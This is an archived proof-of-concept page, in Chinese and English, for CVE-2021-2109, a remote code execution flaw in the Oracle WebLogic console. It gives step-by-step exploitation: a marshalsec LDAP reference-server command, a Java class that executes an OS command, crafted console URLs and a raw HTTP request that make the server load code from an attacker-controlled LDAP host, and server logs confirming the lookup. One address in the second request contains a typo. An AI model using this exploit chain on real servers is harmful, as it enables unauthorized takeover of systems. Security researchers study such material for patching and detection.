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CVE-2021-2109 PoC — Oracle Fusion Middleware 组件访问控制错误漏洞

来源
https://github.com/Al1ex/CVE-2021-2109
关联漏洞
标题: Oracle Fusion Middleware 组件访问控制错误漏洞 (CVE-2021-2109)
Description:Oracle Fusion Middleware（Oracle融合中间件）是美国甲骨文（Oracle）公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。 Oracle Fusion Middleware 的 Oracle WebLogic Server 组件存在访问控制错误漏洞，该漏洞允许通过HTTP进行网络访问的高特权攻击者入侵Oracle WebLogic Server。以下产品及版本受到影响
Description
CVE-2021-2109 && Weblogic Server RCE via JNDI
介绍
## Description

Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Console). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).

## Conditions

Login authentication required

## How to RCE

 ###### Step 1: Setup Weblogic

![setup](img/setup.png)

###### Step 2: login

![login](img/login.png)

![login2](img/login2.png)

###### Step 3：Setup a JNDI Server

```
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.174.1:4444/#Exploit 1088
```

![jndi](img/jndi.png)

###### Step 4: Compile Exploit.java

```
javac Exploit.java
```

```
import java.lang.Runtime;

public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
```

![execute](img/execute.png)

###### Step 5: Setup a Simple HTTPServer

![httpserver](img/httpserver.png)

###### Step 6:Execute payload

```
http://192.168.174.144:7001/console/console.portal?_nfpb=true&_pageLabel=EJBTestHomePage&EJBTestHomePagehandle=com.bea.console.handles.JndiContextHandle("ldap://192.168.174.1:1088/Exploit;AdminServer")&returnTo=al1ex
```

![payload](img/Payload.png)

![result](img/result.jpeg)

LDAP and HTTPServer logs:

![logs](img/logs.png)

###### Another POC

```
GET /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.174;1:1088/Exploit;AdminServer%22) HTTP/1.1
Host: 192.168.174.144:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ADMINCONSOLESESSION=GZUoX_MV8_7OMiv-hhhzix8-zbfknZI4Prm_41N4vUPBEt1vP8mf!2017534379; Hm_lvt_eaa57ca47dacb4ad4f5a257001a3457c=1605675257,1605704689,1605871061,1606205262; JSESSIONID=6qYoDKwKLN2nLGhJiJ1CtcaxZ8ENfjTU7B2n0GmG5HTVDrJxPkg3!655738588
Connection: close

```

result in burpsuite:

![result](img/burpsuite.png)

result in weblogic server:

![weblogic](img/weblogic.png)

LDAP and HTTPServer logs(The first log item is belong to poc1):

![logs2](img/logs2.png)

###### Stake Information：

```
####<2021-1-22 下午12时48分01,552秒 CST> <Warning> <netuix> <DESKTOP-BFSBGQ0> <AdminServer> <[ACTIVE] ExecuteThread: '48' for queue: 'weblogic.kernel.Default (self-tuning)'> <weblogic> <> <6ee09b18-9ac0-4c9a-9f92-7ae146152075-0000006d> <1611290881552> <[severity-value: 16] [rid: 0] [partition-id: 0] [partition-name: DOMAIN] > <BEA-423420> <开始操作或刷新操作时执行重定向。重定向 url 为 /console/consolejndi.portal?_nfpb=true&_pageLabel=UnexpectedExceptionPage。> 
####<2021-1-22 下午12时48分42,691秒 CST> <Info> <WorkManager> <DESKTOP-BFSBGQ0> <AdminServer> <Timer-2> <<WLS Kernel>> <> <6ee09b18-9ac0-4c9a-9f92-7ae146152075-00000005> <1611290922691> <[severity-value: 64] [rid: 0] [partition-id: 0] [partition-name: DOMAIN] > <BEA-002959> <Self-tuning thread pool contains 0 running threads, 1 idle threads, and 49 standby threads> 
####<2021-1-22 下午12时49分37,248秒 CST> <Error> <Console> <DESKTOP-BFSBGQ0> <AdminServer> <[ACTIVE] ExecuteThread: '48' for queue: 'weblogic.kernel.Default (self-tuning)'> <weblogic> <> <6ee09b18-9ac0-4c9a-9f92-7ae146152075-0000006e> <1611290977248> <[severity-value: 8] [rid: 0] [partition-id: 0] [partition-name: DOMAIN] > <BEA-240003> <Administration Console encountered the following error: javax.naming.NamingException: problem generating object using object factory [Root exception is java.lang.ClassCastException: Exploit cannot be cast to javax.naming.spi.ObjectFactory]; remaining name 'Exploit'
	at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1092)
	at com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)
	at com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)
	at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
	at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
	at javax.naming.InitialContext.lookup(InitialContext.java:417)
	at com.bea.console.actions.jndi.JNDIBindingAction.execute(JNDIBindingAction.java:83)
	at org.apache.struts.action.RequestProcessor.processActionPerform(RequestProcessor.java:431)
	at org.apache.beehive.netui.pageflow.PageFlowRequestProcessor.access$201(PageFlowRequestProcessor.java:97)
	at org.apache.beehive.netui.pageflow.PageFlowRequestProcessor$ActionRunner.execute(PageFlowRequestProcessor.java:2044)
	at org.apache.beehive.netui.pageflow.interceptor.action.internal.ActionInterceptors.wrapAction(ActionInterceptors.java:91)
	at org.apache.beehive.netui.pageflow.PageFlowRequestProcessor.processActionPerform(PageFlowRequestProcessor.java:2116)
	at com.bea.console.internal.ConsolePageFlowRequestProcessor.processActionPerform(ConsolePageFlowRequestProcessor.java:275)
	at org.apache.struts.action.RequestProcessor.process(RequestProcessor.java:237)
	at org.apache.beehive.netui.pageflow.PageFlowRequestProcessor.processInternal(PageFlowRequestProcessor.java:556)
	at org.apache.beehive.netui.pageflow.PageFlowRequestProcessor.process(PageFlowRequestProcessor.java:853)
	at org.apache.beehive.netui.pageflow.AutoRegisterActionServlet.process(AutoRegisterActionServlet.java:631)
	at org.apache.beehive.netui.pageflow.PageFlowActionServlet.process(PageFlowActionServlet.java:158)
	at com.bea.console.internal.ConsoleActionServlet.process(ConsoleActionServlet.java:266)
	at org.apache.struts.action.ActionServlet.doGet(ActionServlet.java:416)
	at com.bea.console.internal.ConsoleActionServlet.doGet(ConsoleActionServlet.java:135)
	at org.apache.beehive.netui.pageflow.PageFlowUtils.strutsLookup(PageFlowUtils.java:1199)
	at org.apache.beehive.netui.pageflow.PageFlowUtils.strutsLookup(PageFlowUtils.java:1129)
	at com.bea.portlet.adapter.scopedcontent.framework.internal.PageFlowUtilsBeehiveDelegate.strutsLookupInternal(PageFlowUtilsBeehiveDelegate.java:43)
	at com.bea.portlet.adapter.scopedcontent.framework.PageFlowUtils.strutsLookup(PageFlowUtils.java:108)
	at com.bea.portlet.adapter.scopedcontent.ScopedContentCommonSupport.executeAction(ScopedContentCommonSupport.java:707)
	at com.bea.portlet.adapter.scopedcontent.ScopedContentCommonSupport.renderInternal(ScopedContentCommonSupport.java:265)
	at com.bea.portlet.adapter.scopedcontent.StrutsStubImpl.render(StrutsStubImpl.java:105)
	at com.bea.netuix.servlets.controls.content.NetuiContent.preRender(NetuiContent.java:292)
	at com.bea.netuix.nf.ControlLifecycle$6.visit(ControlLifecycle.java:428)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:727)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walk(ControlTreeWalker.java:146)
	at com.bea.netuix.nf.Lifecycle.processLifecycles(Lifecycle.java:399)
	at com.bea.netuix.nf.Lifecycle.processLifecycles(Lifecycle.java:361)
	at com.bea.netuix.nf.Lifecycle.runOutbound(Lifecycle.java:208)
	at com.bea.netuix.nf.Lifecycle.run(Lifecycle.java:162)
	at com.bea.netuix.servlets.manager.UIServlet.runLifecycle(UIServlet.java:465)
	at com.bea.netuix.servlets.manager.UIServlet.doPost(UIServlet.java:291)
	at com.bea.netuix.servlets.manager.UIServlet.doGet(UIServlet.java:231)
	at com.bea.netuix.servlets.manager.UIServlet.service(UIServlet.java:216)
	at com.bea.netuix.servlets.manager.SingleFileServlet.service(SingleFileServlet.java:275)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:790)
	at com.bea.console.utils.MBeanUtilsInitSingleFileServlet.service(MBeanUtilsInitSingleFileServlet.java:64)
	at weblogic.servlet.AsyncInitServlet.service(AsyncInitServlet.java:125)
	at weblogic.servlet.internal.StubSecurityHelper$ServletServiceAction.run(StubSecurityHelper.java:295)
	at weblogic.servlet.internal.StubSecurityHelper$ServletServiceAction.run(StubSecurityHelper.java:260)
	at weblogic.servlet.internal.StubSecurityHelper.invokeServlet(StubSecurityHelper.java:137)
	at weblogic.servlet.internal.ServletStubImpl.execute(ServletStubImpl.java:353)
	at weblogic.servlet.internal.TailFilter.doFilter(TailFilter.java:25)
	at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:78)
	at com.bea.console.internal.ParamFilter.doFilter(ParamFilter.java:38)
	at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:78)
	at weblogic.servlet.internal.RequestEventsFilter.doFilter(RequestEventsFilter.java:32)
	at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:78)
	at weblogic.servlet.internal.WebAppServletContext$ServletInvocationAction.wrapRun(WebAppServletContext.java:3797)
	at weblogic.servlet.internal.WebAppServletContext$ServletInvocationAction.run(WebAppServletContext.java:3763)
	at weblogic.security.acl.internal.AuthenticatedSubject.doAs(AuthenticatedSubject.java:344)
	at weblogic.security.service.SecurityManager.runAsForUserCode(SecurityManager.java:197)
	at weblogic.servlet.provider.WlsSecurityProvider.runAsForUserCode(WlsSecurityProvider.java:203)
	at weblogic.servlet.provider.WlsSubjectHandle.run(WlsSubjectHandle.java:71)
	at weblogic.servlet.internal.WebAppServletContext.doSecuredExecute(WebAppServletContext.java:2451)
	at weblogic.servlet.internal.WebAppServletContext.securedExecute(WebAppServletContext.java:2299)
	at weblogic.servlet.internal.WebAppServletContext.execute(WebAppServletContext.java:2277)
	at weblogic.servlet.internal.ServletRequestImpl.runInternal(ServletRequestImpl.java:1720)
	at weblogic.servlet.internal.ServletRequestImpl.run(ServletRequestImpl.java:1680)
	at weblogic.servlet.provider.ContainerSupportProviderImpl$WlsRequestExecutor.run(ContainerSupportProviderImpl.java:272)
	at weblogic.invocation.ComponentInvocationContextManager._runAs(ComponentInvocationContextManager.java:352)
	at weblogic.invocation.ComponentInvocationContextManager.runAs(ComponentInvocationContextManager.java:337)
	at weblogic.work.LivePartitionUtility.doRunWorkUnderContext(LivePartitionUtility.java:57)
	at weblogic.work.PartitionUtility.runWorkUnderContext(PartitionUtility.java:41)
	at weblogic.work.SelfTuningWorkManagerImpl.runWorkUnderContext(SelfTuningWorkManagerImpl.java:655)
	at weblogic.work.ExecuteThread.execute(ExecuteThread.java:420)
	at weblogic.work.ExecuteThread.run(ExecuteThread.java:360)
Caused by: java.lang.ClassCastException: Exploit cannot be cast to javax.naming.spi.ObjectFactory
	at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:163)
	at javax.naming.spi.DirectoryManager.getObjectInstance(DirectoryManager.java:189)
	at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1085)
	... 94 more
> 
####<2021-1-22 下午12时50分42,783秒 CST> <Info> <WorkManager> <DESKTOP-BFSBGQ0> <AdminServer> <Timer-2> <<WLS Kernel>> <> <6ee09b18-9ac0-4c9a-9f92-7ae146152075-00000005> <1611291042783> <[severity-value: 64] [rid: 0] [partition-id: 0] [partition-name: DOMAIN] > <BEA-002959> <Self-tuning thread pool contains 0 running threads, 1 idle threads, and 49 standby threads> 
```

## Reference

https://www.oracle.com/security-alerts/cpujan2021.html

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-2109
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备注
    1. 建议优先通过来源进行访问。
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    3. 持续抓取、验证、维护这份 POC 档案需要不少投入，因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键，由衷感谢。 查看订阅方案 →